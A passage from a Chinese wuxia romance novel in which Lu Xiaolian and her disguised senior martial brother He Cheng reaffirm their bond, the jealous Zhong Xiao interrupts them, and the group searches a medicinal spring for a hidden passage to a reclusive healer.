“当然记得。”贺承轻笑,他的气息轻轻落在她头顶,有些发痒。 “你还常常哼一首童谣哄我,能不能再给我哼一哼?” “嗯。”贺承拍着她的后背,轻轻哼起很久很久以前的童谣,“大月亮,二月亮,月亮底下明堂堂。东河宽,西河长,波浪底下水茫茫……” 贺承的声音低而哑,不复年少时的清亮,却另有一翻动人温醇。这是陆晓怜小时候常常听他哼起的童谣,她靠在他怀里,跟着轻轻哼:“借支笔,画条船,一荡荡到九天上。天不怕,地不慌,天地之间有爹娘……” 陆晓怜生性怯弱敏感,怕黑怕鬼,小的时候尤其不经吓。 贺承更紧地搂住她:“那时候你越害怕,阿启越喜欢拿这些故事逗你,你被吓得整夜不敢睡,抱着被褥来师叔院子里找我们。”他微微弓起身子,将额头与她的额头相贴,声音低沉暗哑:“晓怜,那你还记得不记得,我那时是怎么跟你说的?” “嗯?”陆晓怜往他怀里蜷了蜷,“你说,如果人死后会化作鬼魂,那我娘早已经化作了鬼魂,弄不好还已经是个鬼魂里的头头了,若有别的鬼魂要害我,我娘一定会保护我的。” 都是些孩子气的话,现在想来只觉得好笑。 陆晓怜忍不住笑了起来,小声说:“后来,我确实就没那么怕了。” “对,别怕。”贺承也跟着她笑,侧过头,轻轻吻了吻她,“如果以后我不在了,无论我变成什么,都会保护你的,你什么也不用怕。” 陆晓怜倏然抬头,眼中有盈盈水光,目光却锋利昂扬:“你不许不在!” 头一回,贺承被她的目光逼得一窒,怔忪间,竟半晌无话。 “你不会不在,我们一定能找到神医,你一定会没事。”她顿了一下,又想到别的办法,“即便真那么倒霉,遇不见神医,那你就跟我们回青山城,师叔认识的人多,一定会有办法的。” 她伸手摸摸他脸上的面具,仔细安排起来:“你不要怕,就戴着这张面具跟我们走,不会有人知道跟着我回青山城的人是你。” 她确实考虑得很周全,甚至替他把解除后顾之忧的法子也想到了。 但贺承并没有打算在要不要跟着陆晓怜回青山城的这个话题上聊得更多,他捉住她的手,放在唇边又轻轻啄吻一下,笑着低问她:“你是什么时候认出我的?” “在南州城里,我便有些怀疑。” “是在试琴会上?” 陆晓怜点头:“我遇见你时,便觉得莫名的熟悉。直到试琴会上与卓弘明起了冲突,你我合力与他缠斗时,你示意我攻他上身,我才意识到,是你的眉眼让我觉得熟悉。” 她葱管般白嫩纤细的手指摸过他的眉眼,隔着一层面具,拂过他的立体而流畅的眉骨,拨过他浓密的眼睫。她有些生自己的气,明明千百遍地与这双眼睛的主人执手相望,怎么会,没有在第一时间认出他来呢? 贺承故意眨了下眼,用黑长的睫毛去扫她的手指逗她。他的神情似笑非笑:“所以,后来在江家酒肆,你非要我讲什么师兄师妹的故事,是故意的?” 陆晓怜点头,又摇头:“你与往日的差别太大,我虽觉得眉眼相似,却也不敢断定沈烛便是你,可你伤重迷离之际,又,又对我莫名依赖亲近。我稍作试探,一方面想看看能不能找到什么线索,另一方面也是想看看,这个‘沈烛’到底是不是个登徒子!” 贺承哭笑不得:“那试探后,你得出了什么结论?” “你老奸巨猾,编的故事倒是没有破绽。”陆晓怜冷哼,“所以,我虽每日都在怀疑你,却不能给自己一颗定心丸,直到那日落水——” 陆晓怜说的落水,应当是南疆人绑走了她和金波,将她五花大绑丢进水里那一回。因为南疆人捏着贺承的软肋,那时明明占据上风的贺承不得不丢下兵刃,任由他们处置。可他们言而无信,还是将陆晓怜投入河中,贺承拼死相救,险些送命。 贺承侧着头盯着陆晓怜,是一幅悠然听故事,愿闻其详的模样。 陆晓怜皱了皱鼻子:“那日,我摸到你耳后有一道细痕,用指甲用力抠下去,可以揭下一角胶皮。我那时才把事情的前因后果串起来,你是用一幅精妙的面具,将自己假扮做‘沈烛’来找我们的。” “倒也不是专门来找你们的,我是为了试琴会来南州,不巧就遇见了你们。” 陆晓怜杏目圆瞪,佯怒瞪着贺承。 贺承惯爱逗她,可玩笑开过了,把人惹怒了,还是得他自己去哄:“是没想到会遇见你,遇见之后就舍不得走开了,这不就 一路纠纠缠缠走到了现在吗?” “话说得好听。”陆晓怜冷哼,“说起来,你离开青山城后去了哪里?怎么会受这么重的伤?你遇见我爹了吗?你们为什么这么长时间不露面?” 贺承早料到陆晓怜会问这些,这一串问题连珠炮般砸过来,却还是令他头疼—— 每一个问题他都不能回答,至少,此刻还没到让陆晓怜知道的时候。 他搂着她软玉温香的师妹,只挑其中想答的,含糊回答:“我知道师父在哪里,他现在不便露面,再过一段,等真相大白,他自然会回青山城。” “所以那一晚无涯洞外,究竟发生了什么?” 问起那一夜的无涯洞,贺承低垂眼睫,目光微微躲闪。 他沉默了片刻,开口有些艰难:“我……对不起……” 陆晓怜盯着他看,也沉默了好一会儿,沉下脸来:“你别这样含含糊糊地搪塞我,我不信你会害大哥,你不想说,我便自己去查。” “不行!”贺承太过心急,气息便乱来,偏过头去,抵着唇,止不住闷咳起来。 他脱口而出说的是“不要”,而是“不行”。他并不是在祈求她不要追究真相,而是强硬地要将她从某些险境推开。 陆晓怜愈发坚信自己的判断。她的师兄聪明周全,做事一向滴水不漏,会这样不加掩饰地阻拦她,反而更说明,无涯洞的那件事,他并非罪魁祸首。 贺承清瘦单薄的身子随着咳嗽震颤着,他显然还有话要说,可越是着急,气息便越乱,咳嗽便越是止不住。 陆晓怜不由眼眶发烫。 她的师兄是这一辈弟子里的佼佼者,十五六岁上便一战成名,江湖上人人皆知青山城掌门门下有个叫贺承的,未来可期,前途无量。 可不过半年多不见,那个光彩瞩目、意气风发的贺承,怎么就成了这个样子? 她不忍心再逼问下去,轻轻拍着他的脊背,声音发哑发颤:“你别急,你说不查,便不查,我都听师兄的。” 贺承咽下喉咙里卷上来的腥气,笑意轻松,声音却还是明显虚弱了许多:“听话,这事我和师父会处理好,你不要管。至于我的伤,已有朋友为我请了高明的大夫治,只是伤经动骨的,确实需要静养,忙过这一段,好好歇一歇就好,你也不必太过担心。” 贺承身体不好,陆晓怜不想他再为自己费心,无论他说什么,尽数乖巧应下。 如此一来,他终于能松了口气。摸着披风的边缘,确定将陆晓怜严严实实裹紧了,透不进来一点冷风,他温声道:“不早了,睡吧。” 陆晓怜从他怀里探出一颗圆圆的脑袋,眸光闪闪:“我还有最后一个问题。” “嗯?” “你是什么时候知道我已经认出你了的?” 贺承眉毛微微一挑,远远望了钟晓一眼:“说起来,这还多亏了钟晓。” “?” “是他一直以为你喜欢上了沈烛,气得上蹿下跳,我才会顺着他的思路想下去——” “然后?” 贺承低笑:“然后我就想,你确实没道理忽然对一个相识不足一月的人那么好。再后来,钟晓告诉我,你以死相逼,不肯出百花谷,。” “嗯?” “你素来心软,可能对一个萍水相逢的病人照顾有加,可无论如何,不必做到为他不计生死的地步。”贺承看着近在咫尺的陆晓怜,又忍不住躲着钟晓的视线,低头吻了吻她,“除非,你已经猜到了‘沈烛’便是我。” 第34章 第三十四章不平喂,我师姐还在呢!…… 阳光落在这一片草地上时,贺承与陆晓怜依旧紧紧相拥。这一夜风平浪静,一宿无梦,他们相互依偎着,是这大半年时间里,难得的安稳宁静。 可天一亮,这难得的安稳宁静,就被眼里不揉沙的钟晓硬生生打破了。 贺承和陆晓怜是被彻夜难眠的钟晓摇醒。 陆晓怜迷迷糊糊睁开眼时,始作俑者正冷着脸,居高临下地看着“有伤风化”的两个人,漠然道:“天亮了,那株什么草也该弄好了吧?你们可以分开了吧?” 贺承难得睡得这样沉,被骤然唤醒过来,本能地警觉翻身而起,将陆晓怜护到身后去。定睛看清来人是钟晓,他一口气松下去,才觉得心跳如捣,身形晃了一晃,正被身侧的陆晓怜稳稳扶住。 陆晓怜沉下脸:“钟晓,你一大早发什么疯?” “究竟是谁在发疯?”钟晓终于忍不住,熊熊怒火终究还是烧到陆晓怜身上。他气得脸色泛红,已经口不择言:“贺师兄如今下落不明,生死未卜,你却跟这个姓沈的卿卿我我!你,你对得起贺师兄吗?” 要论感情,钟晓与贺承的感情,是比他与陆晓怜的感情更深许多的。 钟晓与贺承的弟弟贺启一同摆在青山城掌门陆岳修的师弟庄荣门下。贺家兄弟本就是庄荣领进山门的,又多了贺启这一层关系,虽然贺承拜在陆岳修门下,却与庄荣颇为亲厚,连带的,跟庄荣的弟子也混得熟,其中,与贺启年纪相仿的钟晓与他最是亲近,几乎算得上是他的另一个弟弟。 钟晓的师父庄荣习武成痴,因为惜才对贺承偏爱有加,对自己的弟子反倒没多少耐心。特别是钟晓和贺启这种天资有限的,那些年,不知道被他们师父骂过罚过多少回。 有几回,钟晓以为师父气得要把自己和贺启扫地出门了,后来都是贺承带来几样小玩意儿,嬉皮笑脸地哄他们的师父高兴,然后把他们学不明白的东西拆开了揉碎了,手把手地带着练了好几遍,才让他们的师父勉强相信,这两个人还不是无药可救。 若要钟晓在贺承与陆晓怜之间选边站队,他必定是向着贺承的。 不明真相的钟晓看不得陆晓怜和“沈烛”拉拉扯扯搂搂抱抱,也算情有可原。 也不知是被气的,还是因为钟晓的话觉得羞臊,陆晓怜莹白的脸颊上飞起一团红晕。 她深吸一口气,抿着嘴唇想了一会。是否向钟晓说明真相,如何向钟晓说明真相,她可以再同贺承商量,可无论如何,钟晓闹这么一出,早就惊动了另外三个人,此刻绝不是向他说明“沈烛”身份的好时机。 陆晓怜无奈,低声斥道:“你别嚎了,我之后会找机会跟你解释。” 钟晓冷哼:“你别跟我解释,你去跟贺师兄解释吧。” 陆晓怜又好气又好笑,朝他吐了下舌头:“师兄才没你这样小气。” 压制住钟晓的怒火,陆晓怜忙不迭地回头看贺承。 许是刚刚起得太急,他此刻心慌得厉害,一手由陆晓怜搀着,一手紧紧抵在心口,低垂着眼睫,气息凌乱,呼吸费力。因为脸上还戴着一层胶皮面具,即便是近在咫尺的陆晓怜也看不出他此刻的气色究竟糟到了什么地步,只能依稀可以看到他嘴唇泛白,连唇角都在微微发颤。 陆晓怜心疼极了,又狠狠挖了钟晓一眼,赶紧扶着贺承坐下:“很难受吗?快坐下歇会,小齐大夫已经过来了。” 贺承霜白的唇动了动,声音低微:“没事,大概是饿了,缓缓就好。” “饿了?” 贺承从鼻腔里轻轻“嗯”了一声,强打着精神逗她,可怜道:“病人都是需要大鱼大肉滋养的,昨晚就喝了碗蘑菇汤,不饿才怪。” 属于“沈烛”的那张面孔上嵌着的那双漆黑明亮的眼睛正含笑盯着她。 若说顶着“沈烛”的名字,贺承有所顾忌,还能强撑出八九分正经,如今被陆晓怜戳破了伪装,在她面前越发肆无忌惮地当起“贺承”来。 陆晓怜笑着捏捏他冰凉的手:“委屈沈兄了,等出去,找最好的酒楼给你补上。” “就拿酒楼应付我吗?”贺承回握了一下她的手,“别人家姑娘都是要为心上人洗手作羹汤的。” 陆晓怜挑眉:“我敢作,你敢吃吗?” 贺承来不及应话,便听见一串脚步声越来越近。 钟晓扭头,只见不 仅是齐越听见动静走了过来,连毒伤初愈的赵戎津,也由金波扶着,跟着后面。于是,钟晓终于有理由驱赶寸步不离守着贺承的陆晓怜:“小齐大夫来了,师姐,你不要妨碍小齐大夫给他看病。” 事关贺承的伤病,陆晓怜从善如流地站到一边,等着齐越给贺承诊脉。 可齐越来时,贺承却不急着伸出手,反而将手探入怀中,摸出那株阴阳相思草来。那株脆弱的草药被体温烘炙一夜,叶片上的银白色叶脉消失不见,只有翠色依旧不减,六片叶片各自蜷起,两两成对,虬结成指节大小的三个小团子。 贺承将草药递给齐越:“这株草可能入药了?” 齐越点头,朝贺承和陆晓怜抱拳一礼:“书上说,草叶凝株,药便成了。多谢二位。”他接过贺承手里的草药,细看了片刻,反复确认过,才将嫩茎上挂着的三个翠色小团子摘下来,托在掌心里举到赵戎津面前:“吃了。” 赵戎津依言吃了药丸,齐越悬了一夜的心才落下来。他抬手搭上贺承腕上寸关,静下心来为他诊脉,觉得指下的脉息越发虚细沉滞,几乎快要摸不到跳动,分明是气血亏虚已极。 怎会如此? 分明昨夜他也为他诊过脉,那时他的脉象虽不算有力,却至少坚实平稳,只是因为寒邪入体尚未拔除,还有几分滑涩虚浮。究竟是什么原因?他会在一夜之间气血溃败至此,大有这一两日里便要吹灯拔蜡的意思。 齐越若有所思,按着贺承手腕沉吟片刻,恍然抬头,紧紧盯住贺承:“昨日在七步岭,你是不是服了什么药?” 陆晓怜心急:“服了什么药?” “我也不知道。”齐越摇头,“大抵是些将人筋骨里的精力元气都压榨出来的药,药效一过,便如空心朽木,岌岌可危。沈公子昨日看着与常人无异,便是靠着药物的效用,如今药效已过,只怕……” 昨日在七步岭上,九死一生的险境中,贺承确实摸了颗药丸吞了下去。 当初他拖着这身伤执意要经南州来百花谷,离开枕风楼时,枕风楼楼主沈懿行不情不愿地把这颗药丸塞给他,除了反复叮嘱不到万不得已,不可轻用外,好像是还唠唠叨叨地说了什么别的。 可惜贺承那时一门心思想着别的事情,沈懿行的话一句也没放在心上。 所以,究竟吃了什么药?吃了药又会有什么后果?此刻的贺承一概不知。 陆晓怜声音发颤:“只怕什么?” “别管那些虚的了。”贺承笑着闷咳,抢在齐越开口前,“我想去药泉看看。” 齐越迟疑:“其实如今药泉对你而言,已经……” “来都来了。”贺承闷咳着打断他,“还是去看看吧。” 贺承去泡药泉是要宽衣解带的,金波毕竟是个姑娘,不便跟着去,便留在原地看东西。 钟晓原本想说服陆晓怜跟金波一起留下来的,可他一抬眼,看见她师姐一脸担忧地稳稳挽着“沈烛”的手臂,顿时气得连话都不想说了。 正如昨晚齐越说的,药泉在百花潭的北面,是北面的一个地势略高的小水潭。 一行人沿着百花潭走,不到半刻钟,便看见了齐越说的药泉。那是一方位于石壁下的池子,大约有一丈见方,同百花潭一样,池子里的水也是温热的,袅袅飘着雾气。这方池子的位置略高于百花潭,以至于百花潭里的清水不会流到药泉中去,药泉的水是褐色的,四周弥散着药汤的苦味,像是有人将熬完的黢黢汤药倒入水池中一般。 钟晓看着这个小水潭,有些怀疑:“这便是药泉?这便能治病救人?” 齐越点头:“有一年隆冬,戎哥刚从百花谷出来,带着一身伤,去救一个掉进河面冰层裂缝里的孩子。带伤之身,受寒邪之害,性命垂危,我来百花潭给他采药,顺便用水囊背了药泉水回去。只是用药泉水给他擦身,甚至没来得及给他改方子熬药,他的高热便退下去了,第二天风寒便好了大半。” 这段往事,齐越只说了一半。 他没说,那时赵戎津高烧多日不退,陷入昏厥,他为了早日到达百花潭,抄近路上了七步岭,不知道被什么东西咬了。赵戎津从昏沉中醒来时,守在他床边、不停用药泉水给他擦身的齐越嘴唇乌黑,摸了摸他的额头的热度,一口气松下去,“哇”地呛出一大口黑血,倒在他的床边。 幸而赵戎津跟着齐越进出百花谷多次,虽然不通医理,却认得出来齐越拼死进山摘出来的那些草药,挑了他认得的祛毒草药嚼烂了喂给齐越,把人救醒了,才照着他的吩咐为他熬药解毒。 想到这节,赵戎津心中犹有一团火轰然烧过,又烫又疼。他伸手揽住齐越,齐越觉察到有人贴近过来,扭头看了赵戎津一眼。 两个人什么都没有说,心里却又什么都明白。 贺承稍稍推开陆晓怜,脱下外袍,解下腰带,仅着一层薄薄的白色中衣:“既然都来了,我便进去试试看这药泉。” 他抬手解下中衣系带,正要脱下上衣,手指刚刚触及衣襟,就被钟晓快步上来捉住手腕,将他半敞的衣襟合拢回去。 贺承不解地抬头:“怎么了?” 钟晓昂首挺胸,挡在他和陆晓怜之间,脸色涨红,咬牙道:“你这衣服是一定要脱吗?我,我师姐还在呢!” 第35章 第三十五章鬼斧岭神医当然不能是只…… 这衣服,确实也不是非脱不可。 贺承就是习惯了而已。 行走江湖,难免会受伤,贺承也不例外。以前伤在肩上背上,都是陆晓怜红着眼睛抖着手给他上药的,他一时没意识到,“沈烛”一个外人,在姑娘家面前袒胸裸臂的,实在太过浪荡唐突了。 在钟晓的阻拦下,贺承顺势合拢衣襟,缓缓步入药泉之中。与百花潭一样,药泉泉眼也是一眼温泉,浸浴其中,只觉暖意铺天盖地地涌来,像是有数不清的、细如牛毫的小针,被烘得热热的,往经脉里灌进去。 并不多疼,暖暖的一阵酥麻卷过去,贺承僵冷的经脉几乎瞬间醒了过来。 与宽阔的百花潭相比,药泉的水域并不大,贺承摸着潭边的青石,倚在池边,看着满池子黑黢黢的药泉水。百花谷里的药泉果然有奇效,可他此刻心里惦记着的,却还是怎么找到神医这件事。 扶着水潭边沿稳了稳,贺承试着朝着水潭中心迈出几步。 这水潭地势奇特,几步之外水深骤然增加,药泉水瞬时没到他的下颌处。百花潭附近虽然无风无浪,可水一深,人在水里便不容易站稳,水波稍有波动,贺承就被拽得身形摇晃,令岸边的人看得心惊胆寒。 在岸上已经褪去鞋袜,贺承赤足踩过水潭,心中对这方水潭的好奇越发深重。 愿意冒死进百花谷的人不多,有本事,也有运气翻过七步岭到达百花潭的人便更少了,这药泉按说应该是天然形成的。 可这药泉若是自然形成的,那便更有些古怪了…… 齐越在岸边喊:“沈公子,药泉深处情况未知,不可再深入了。” 站在药泉中不知道在出神想着什么的贺承听见动静,扭头看过来,微微颔首,开始摇摇晃晃往回走。这回他的脚步倒是不慢,很快回到水潭边沿,倚着池边,用手指沾了水,在地上画了一个圈,又画了两道线。 “我们翻过七步岭,就来到百花潭——”贺承的手指点着圈圈偏北的方位,两道线相交处,问齐越和 赵戎津,“药泉应该是在这个位置,没错吧?” 经他这一问,围在药泉旁的几个人终于明白他画在青石板上的那几笔潦草的画—— 那一刻圆不似圆,方不似方的圈,便是百花潭,那么圈圈旁边两道歪歪扭扭的线,一道是昨日差点困死他们的七步岭,另一道稍显短直,则是自东北方向蜿蜒而下,与七步岭相接的另一道山岭。 而两道山岭,便在药泉北面、笔直高耸的石壁处相交。 得到了肯定的答复,贺承又用手指点了点那道与七步岭相接的、不知道名字的山岭,问:“这是什么山?你们可曾翻到山岭那一头去看看?” “这是鬼斧岭。”赵戎津在贺承勾出来的地图指了几个地方,“整条山岭蜿蜒数里,像是被巨斧劈开一般,断面光滑平整,根本上不去。根本翻不过去。” 贺承若有所思:“所以,即便对百花谷熟悉如你们,也不曾翻越过鬼斧岭?” “很惊讶吗?”赵戎津挑眉,抬手一指,“你看那里,百花潭附近的这段,已经是鬼斧岭最缓的地方。” 顺着赵戎津手指的方向,所有人抬眼看去。 若说七步岭是弯弯曲曲,犹如一条缎带将百花潭包裹期间,与之相对的鬼斧岭,则更像一根铁棒,冷硬平直,横亘在百花潭北面。鬼斧岭正和它的名字一样,鬼斧神工,一整面的山壁平整光滑如棋盘,仿佛被刻意打磨过一般,在阳光下,反射出黑亮的光芒。 赵戎津说,百花潭附近是鬼斧岭山势最缓的一段了。 可即便如此,一整面如棋盘般平坦的石壁高高耸立,几乎没有凹凸错落的乱石,也没长一棵横生出来的草木,不仅人攀不上去,连路过的飞鸟都很难借力落脚停歇。 这不像是一座山岭,倒像是一块巨大的、光滑的石头,不落万物,贫寂荒芜。 大家盯着光秃秃的鬼斧岭,心知赵戎津所言非虚,许久没有说话。 赵戎津一挑眉,打破沉默:“你们不会还觉得神医住在鬼斧岭上吧?我敢说,就算神医他是只猴子,也未必爬得上鬼斧岭。” 猴子又不会把脉治病,神医当然不能是只猴子,所以他当然不会住在鬼斧岭上。 可七步岭环抱着百花潭,漫山毒物拦住四方来敌,鬼斧岭拦住东北奔袭而下的寒气和自东北方向入侵的仇家,处于两条天然形成的防御带之间的百花潭,气候宜人,草木丰茂,水源充足。 两山夹一水—— 将隐退之地设在这样的地方最好不过,若能占据北面休门位,更是大吉。 若不是最初在巨石阵里,就认出阵中的石笋横刺而出的方位次序,之后又根据钟晓的描述,看出离开巨石阵后,百花谷主人留出的那条出谷岔路的方位,贺承不会联想到,百花谷的机关布局,可能与他小时候看的一卷不知名书册相关。 依据那卷书册里的说法,那道光秃秃的鬼斧岭所在方位,确是休门。 怎么会住不了人呢? 贺承半晌没有说话,目光落回青石上,盯着用水勾画出的那幅简易地图看。 他自己倒没什么,反是陆晓怜听了赵戎津刚刚的话心中沮丧,追着又多问了几句。齐越温声宽慰陆晓怜一番,拖着赵戎津去采药前,约定以烟为信,若他们看到药泉方向燃起烟火,便有事,定会尽快回来。 贺承病体支离,陆晓怜当然不会留他独自待在池中。 陆晓怜与“沈烛”情投意合,钟晓也当然不会放任他们在此独处。 于是,三人守着药泉,大眼瞪小眼沉默了片刻。 待赵戎津他们走远了,陆晓怜开口问贺承:“你是不是觉得百花潭有什么古怪?” 贺承神色有些倦怠,倚着池边青石,慢悠悠地点头道:“我以前看过一本没名字的怪书,书上讲了些奇门遁甲、机窍开关一类的东西。我那时觉得,那本书编得很乱,像是什么人将自己的手稿誊写了一遍一般,可到了百花谷,却觉得,那本书好似在给进百花谷的人指路。” “指路?” 贺承偏过头闷闷咳了几声,声音好像更弱了:“比如,它开篇1章 说的便是巨石阵,甚至还提了,若有心给入局者留生路,最好将出局之路留在巨石阵后,置之死地,才能后生。” 说到这里,他看了钟晓一眼:“这也是离开巨石阵后,我让钟晓在我们启程时,无论如何都要叫醒我的原因。我想,我也许能依据那本书,破解谷中机关。” 陆晓怜目光闪闪地盯着贺承。 他所说的那本奇怪的书,她应该也看过。 那并不是青山城的典籍,是他们的师叔、钟晓的师父庄荣不知从什么地方带回来的。庄荣虽然偏爱贺承,却从不藏私,可偏偏这本书,他只传给了贺承,而且要贺承熟记于心。贺承唯一一次挨庄荣的打,便是因为偷懒,没有好好背这本书。 贺承练功习武上天赋出众,背书却比不过陆晓怜。那时他们就比试过背这本书,但因为陆晓怜只零零星星陪他背过其中几个章节,不知全貌,并没有像贺承一般,一眼就认出巨石阵来。 陆晓怜眼中露出欣喜:“书上提到神医了吗?我们是不是就快找到神医了?你是不是马上就能痊愈了?” 贺承苦笑着摇头:“可是除了巨石阵,我们后来走的路,与书中细节都对不上了。” 他抬手指指着他自己画的那幅潦草地图上的七步岭:“先是七步岭,书中根本没有提及这条山岭,更没有提到七步岭上养着红色蛊虫。”边说着,他边移动手指,圈划着整片百花潭:“书册最后一章,讲的便是如百花潭一般,两条山岭夹着一处宽阔水源之处,这样的地方最适宜安居,休养生息之地,宜选在休门位。而百花潭的休门位——” 苍白的手指轻轻一点,落在那条冷硬的线上:“在这里,是鬼斧岭。” “鬼斧岭?” 陆晓怜和钟晓不约而同再次朝那条光秃秃的山岭看去。 山岭平直光滑的石壁反射着阳光,仿佛一只镇守着什么秘密的巨兽,挑衅嘲弄地对他们咧着嘴笑。 陆晓怜心念一动:“鬼斧岭上住不了人,那鬼斧岭后面呢?” “如果百花谷当真是按照那本书布局的,最后一章落在百花潭,要到鬼斧岭背面,必然也是要从这里过去。可是鬼斧岭陡峭,即便是百花潭附近最缓的一段,也无法翻越,除非——”说到这里贺承眼前一亮,目光落到小小的一方池塘,“我潜到池子里去看看。” “不行!”陆晓怜像是与他心意相通,早知道他要有所动作,眼疾手快拉住他,“药泉池水颜色这样深,什么都看不见,你如今这样子,贸然潜下去,出了意外都没人知道!” 关心则乱,这是贺承早预料到的—— 无论是陆晓怜,还是钟晓,只要知道“沈烛”那张陌生面孔下藏着他们一心牵挂的贺承,无一例外地,他们都会陷入这样的谨小慎微里。 陆晓怜拉着贺承的手不肯松开,并不多说什么,只定定地看着他。 这样僵持着总不是办法,贺承似乎仔细思索了一番,试探着问:“那你一起来?” 第36章 第三十六章药泉你的意思是,暗道就…… 钟晓难以置信地瞪大了眼睛。 这两个人现在连装都不装了吗? 他瞟了一眼贺承与陆晓怜紧紧相握的手,脸色铁青,银牙暗咬:“师姐不久前刚刚沉过水,难道不怕水吗?” 药泉究竟有多深,水下到底有什么,没有人知道。 以自己对贺承的了解,陆晓怜本以为,钟晓这样提醒一句,贺承绑也要把她绑在岸上。却不料,这一回贺承却立刻没有顺着钟晓的话,把陆晓怜留在岸上,只是微微蹙着眉头问她:“你怕不怕?” 陆晓怜自然把头摇得干脆利落:“不怕。” 钟晓看着他被情情爱爱冲昏头脑的师姐,越想越忧心,决定暂时放下对沈烛的不满,实实在在地提议:“还是我跟沈兄一同去潭底看看吧。我的水性比师姐要好。” 贺承的目光在跃跃欲试的两人间梭巡,兀自举棋不定。 心中天人交战许久,贺承终于作出决定,拒绝了钟晓一起下水的提议:“你水性好 ,一会我们若潜下去太久,你先喊赵戎津他们回来,再下水来寻我们。” 钟晓下意识点头。 即使是在对“沈烛”心存芥蒂的此刻,他还是不自觉地听从他的安排。说不上为什么,这个人仿佛有某种蛊惑人的能力,钟晓的潜意识里,对他的一言一行始终坚信不疑,几乎没有想过对他说一个“不”字。 几句话间,陆晓怜已经轻巧跃入池中,站到贺承身边。 贺承偏过头去,看着她的裙角飘荡在水中,不知怎么又想起她那日被困水下的场景。她昂首挺胸,没有一点因为那次落水留下阴影的模样,他却心有余悸忧虑起来。 与陆晓怜往药泉深处走去前,贺承问钟晓:“你手边还有没有绳索一类的东西?” 钟晓愣了一愣,明白过来他想做什么,忙翻出一直绕在腰间的软绳。 这是刚刚进谷的时候,在齐越他们落脚的山洞里找到的。贺承沉疴在身,后来山路难行,钟晓便是用这根软绳将他牢牢绑缚在自己背上,背着他一路翻山越岭,一直到七步岭上被毒物围攻,他为了不拖累钟晓,才主动割断了这根软绳。 出门在外,绳索的用途很多。这根软绳虽然断成两段了,可钟晓没舍得丢,此时在断处打个牢固的绳结,依旧是一根结实耐用的保护绳。 钟晓将绳子递给陆晓怜,示意她把绳子的一端牢牢系在腰上,自己则紧紧握着绳子的另一头,替贺承说了他想说的话:“若是遇见危险,你便扯绳子,我立刻把你拉上来。” 陆晓怜的手指绕着钟晓递到手里的软绳,看了贺承一眼,有些迟疑。 她并没有说话,可贺承一眼能看破她犹豫的原因。他从她手里取过软绳,向前倾了倾身子,将绳子绕在她腰上,打了个结,又仔细将绳结扯紧了,用力拉拉绳子,确定它柔韧耐用。 看得出来,他对这根绳子很满意,满意得忍不住逗陆晓怜:“药泉本就是给我治病的,我在药泉里能出什么事?还是你好好系紧吧,你的水性也就勉强够打个水仗。” 这人实在是—— 陆晓怜气得龇牙咧嘴,掬起一捧水,朝贺承当头泼了过去。 吵吵闹闹间,两人并肩朝药泉中央走去。水潭面积虽然不大,可潭底的坡度并不平缓,池潭边沿一圈不深,往中心多走几步,水便骤然深起来,很快漫至贺承下颌处,几乎要将陆晓怜整个人淹没过去。 陆晓怜在水中摇摇晃晃站立不稳,下意识伸手攀住贺承的手臂。 几乎是同时,贺承伸手环住她的腰,借着水的浮力将她稍稍托起,又确认了一遍系在她腰上的软绳是否牢固,低头问她:“怎么样?害怕了?” “不怕,就是还不大适应这里的深度。” 贺承环在她腰上的手紧了紧:“那我们在这里缓缓,一起回忆一下那本书里,与机关暗道相关的部分。” 直到他说出这话,陆晓怜才恍然想明白过来,为什么一向舍不得她面对一点风险的贺承,方才竟然会拒绝钟晓的提议,执意要带她下水—— 要论水性,钟晓自然是要比她好得多,可钟晓对奇门遁甲一窍不通,而偏偏她小时候跟着贺承背过那卷无名书册,相比之下,她协助贺承破解谷中机关的可能性比钟晓要高出许多。 这便是贺承纠结犹豫许久,将赌注压在一根软绳上,同意她陪在他身边的原因。 想通此节,陆晓怜说不上自己的心情。 贺承沉疴缠身,病骨支离,还是要费尽心思将她护在身后,她理应感动的,可是感动之外,她却隐隐生出一些别的情绪,也许有一点自卑,也许有一点愧疚,更多的,是一种因为无能为力,而产生的难过。 在南州城重逢之前,贺承的名字,在青山城里,乃至大半个江湖,一直代表着强大。因为他是毋庸置疑的强者,所以她能心安理得地享受他的庇护。 而现在呢? 现在,或者至少此刻,不该还是这样的。 她被他护在身后将近十多年了,现在又能为他做点什么呢? 陆晓怜渐渐适应了及胸的水深,在水波间找到站稳的方式,松开握住贺承手臂的那只手。她的眼波映着水光,潋滟中坚定异常:“师兄,我已经长大了。” 贺承不知她为什么在此刻提起这个,更不知她心中百转千回的想法,并不接话,等着她说下去。 “我知道我天赋不高,再怎么努力都赶不上你,甚至赶不上其他天资高的师兄弟。” 她没有缘故地妄自菲薄起来,贺承不明所以,喃喃开口唤她:“晓怜……” “我知道我很没用,一直都要你费心照顾。”陆晓怜不理,执意说下去,一眼望进贺承眼中,认真诚恳,“我是真的想帮你。”她抿了一下嘴唇,有些沮丧:“可是一直以来,好像都是我在拖累着你……” “哪里是拖累?”贺承打断她,“你怎么会突然这样想?” 陆晓怜抿紧嘴唇不说话。 贺承说:“你在南州城就已经做得很好,我那时说你比钟晓机灵,并不是在唬弄你。”他看见陆晓怜的目光亮了一下,拉过她的手,继续说下去:“你以为我为什么要拒绝钟晓?一方面,确实是因为你看过那本书,运气好的话,兴许能零星记着点什么;可更重要的是,你机灵变通,又与我最有默契,在水里当真遇见什么机关,与你协力,必定是比跟钟晓那个呆子一起,省心省力许多。” 陆晓怜的目光更亮:“真的?” 贺承诚恳点头:“我何时骗过你?” 陆晓怜眼中洋溢着欣喜,却又强压着,不想显得得意忘形。她噘着嘴瞪贺承,指了指他脸上那张严丝合缝的面具,反问他:“没有吗?” 贺承被噎了一下,顿了片刻,厚着脸皮往她身边凑:“就这一次。”药泉不大,钟晓就在不远处的岸上目不交睫地盯着,他没有轻举妄动,只是在水底勾了勾陆晓怜的手指,压着声音哄人:“下不为例,嗯?” 陆晓怜大人大量:“好吧,下不为例。你要是再骗我,我就——”她眼皮一抬,盯着贺承血色淡薄的唇,心尖上被扎了一下,只顾着心疼,想不出什么具有威慑力的惩罚,最终也只是冷哼一声,雷声大雨点小地吓唬人:“你要是再骗我,我就再也不理你了!” 贺承果然毫不在意:“那可不行,你不理我,还能去理谁?再去找个‘沈烛’吗?” 陆晓怜杏目圆瞪:“你这个人——” 贺承忍着笑,抬手掐了掐她气得鼓起来的脸颊:“不逗你了,我们聊聊正事。” 正事自然与他们所在的这方水潭有关。 陆晓怜问:“你为什么会想下到药泉底去看看?” 贺承反问她:“你进到药泉里来,不觉得哪里奇怪吗?” 